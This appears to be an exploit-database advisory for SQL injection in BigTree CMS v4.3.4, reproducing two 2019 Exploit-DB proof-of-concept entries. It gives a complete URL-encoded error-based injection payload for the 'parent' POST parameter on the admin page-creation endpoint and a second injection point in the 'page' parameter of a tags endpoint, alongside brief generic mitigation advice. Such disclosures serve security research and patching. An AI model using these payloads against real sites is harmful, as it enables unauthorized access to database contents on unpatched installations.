BigTree CMS - 'parent' SQL Inj.

vendor:

BigTreeCMS

by:

Mehmet EMIROGLU

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: BigTreeCMS

Affected Version From: v4.3.4

Affected Version To: v4.3.4

Patch Exists: NO

Related CWE: N/A

CPE: a:bigtreecms:bigtreecms:4.3.4

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Wamp64, Windows

2019

BigTree CMS – ‘parent’ SQL Inj.

BigTree CMS is vulnerable to SQL Injection in the 'parent' parameter. An attacker can exploit this vulnerability to gain access to sensitive information from the database. The attack pattern is -1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27. The POST method used is http://localhost/BigTree-CMS/site/index.php/admin/pages/create/.

Mitigation:

Developers should ensure that user input is properly sanitized and validated before being used in SQL queries. Additionally, developers should use parameterized queries to prevent SQL injection attacks.

Source

Exploit-DB raw data:

===========================================================================================
# Exploit Title: BigTree CMS - 'parent' SQL Inj.
# Dork: N/A
# Date: 24-03-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://www.bigtreecms.org/
# Software Link: https://www.bigtreecms.org/download/core/
# Version: v4.3.4
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: We strongly believe your content managements system
shouldn't require
  you to compromise your vision. BigTree is an extremely extensible open
source CMS built on PHP and MySQL.
  It was created by the expert designers, strategists, and developers at
Fastspot to help you make and maintain better websites.
===========================================================================================
# POC - SQLi
# Parameters : parent
# Attack Pattern :
-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27
# POST Method :
http://localhost/BigTree-CMS/site/index.php/admin/pages/create/
===========================================================================================
###########################################################################################
===========================================================================================
# Exploit Title: BigTree CMS - 'page' SQL Inj.
# Dork: N/A
# Date: 24-03-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://www.bigtreecms.org/
# Software Link: https://www.bigtreecms.org/download/core/
# Version: v4.3.4
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: We strongly believe your content managements system
shouldn't require
  you to compromise your vision. BigTree is an extremely extensible open
source CMS built on PHP and MySQL.
  It was created by the expert designers, strategists, and developers at
Fastspot to help you make and maintain better websites.
===========================================================================================
# POC - SQLi
# Parameters : page
# Attack Pattern : %2527
# GET Method :
http://localhost/BigTree-CMS/site/index.php/admin/ajax/tags/get-page/?page=[SQL
Inject Here]&sort=
===========================================================================================